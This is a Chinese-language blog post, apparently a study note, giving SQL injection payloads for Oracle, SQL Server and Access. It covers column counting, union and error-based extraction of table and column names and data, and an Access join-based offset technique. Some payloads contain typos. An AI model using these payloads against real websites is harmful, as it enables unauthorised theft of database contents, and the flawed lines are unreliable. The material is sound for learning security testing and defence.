sql注入(二)

 

oracle

一.基础知识

1>数据字典是元数据的集合,从逻辑和物理上描述了数据库及其内容,存储于SYSTEM和SYSAUX表空间的若干段中

2>数据字典中的数据比较复杂,一般查询的是数据字典的视图。数据字典视图有3个不同权限的分类,分别以user,all,dba开头。

最常用的三个数据字典视图:

1.user_tables

存储了用户拥有的表的信息,其作用类似于mysql的information_schema数据库中的tables表

2.user_tab_columns表

存储了用户拥有的列的信息

3.dual 表

是Oracle数据库中实际存在的表,任何用户均可读取,常用在oracle注入中没有目标的select语句中。

 

paload:

1>判断注入点

id =1 and 1=1

 

2>order by 判断字段数

id =1 and 1=2 order by 1    /*用字段所在的列表中的位置号代替字段名*/

 

3>判断报错点(能在页面上显示出来的)

id =1 and 1=2 union select null,null,null from dual

 

4.获取当前数据库名

查看当前用户信息
id =1 and 1=2 union select null,null,SYS_CONTEXT('USERENV','CURRENT_USER') from dual
查看当前用户权限
select * from session_roles
查看数据库版本
select banner from sys.v_$version where rownum =1

 

5>获取表名

id =1 and 1=2 union select null,null,table_name from user_tables

6>获取字段名

id=1 and 1=2 union select null,null,column_name from user_tab_columns

 

7>获取列中的数据

id =1 and 1=2 union select null,“字段名”,null from "表名"

 

 

 

SQL SERVER 注入

引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图(包括动态管理对象和兼容性视图)都在sys模式中。访问对象时,必须引入模式名称。

SQL SERVER包含sysdatabases(数据库信息),sysobjects(所有对象信息),syscolumns(列名)三个目录视图。

 

 payload

 

1>获取数据库名

方法1通过sys.databases表获取
SORTID =1 and (select top 1 name from sys.database )>0

方法2通过db_name()函数获取
SORTID=1 and db_name()>0   /*与0比较类型转换报错*/

 

2>获取数据库中的表名

SORTID =1  and 0<(select top 1 name from sec.dbo.sysobjects where xtype='U') /*xtype='U'表示用户表 xtype='S'表示系统表*/

爆出一个表名后,其他表可用 name not in (' 已经爆出的表名 ')

 

3>获取表中的列名

SORTID =1 and 0 < (select top 1 name from sec.dbo.syscolumns where id =(select id from sys.dbo.sysobjects where xtype ='U' and name ='xx'))

 从表中获取其Id,利用该id查询第一个列名

 

4>获取列中的数据

and 0<(select top 1 columnname from sec.dbo.tablename)

 

Access

常见的Acess数据库文件的扩展名是mdb和accdb。

爆破法注入

 

1>猜解数据库的表名

ID = 1 and exists( select * from TableName)

 

2>猜解表中的列名

 

ID = 1 and exists( select ColumnName  from TableName)

 

  • Acess数据库偏移注入
此方法解决90%注入能得到的表名,得不到字段的网站(工具也爆不出来),但是条件有局限性,必须有字段id,有些偏移不出来的。
偏移局限性,不能是负数。
原理:多表联接建立记录集
 
1.已知表名为admin
select exists(selct * from admin);
 
2.order by                     判断字段数
 
3.union select  ……       爆出显示位
 
4.用 * 测试admin表有几个字段
id =33  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from  admin  #错误
id =33  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin     #错误
id =33 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin  #正确
以上说明表有11个字段
5.偏移注入的基本公式为:
           order by 出的字段数减去*号的字段数然而再用order by的字段数减去2倍刚才得出来的答案
        18 - 11 =7      18 - 7*2 =4
 
id=33 union select 1,2,3,4 ,* from (admin as a  inner join  admin as b  on a.id =b.id)
不成功则继续:
id=33 union select 1,2,3,4 a.id ,b.id,* from (admin as a  inner join  admin as b  on a.id =b.id)
不成功则继续:
id=33 union select 1,2,3,4 a.id ,b.id,c.id,* from ((admin as a  inner join  admin as b  on a.id =b.id)  inner join admin as c on a.id = c.id)
 
 
posted @ 2021-01-12 23:44  橘皮鸭  阅读(93)  评论(0)    收藏  举报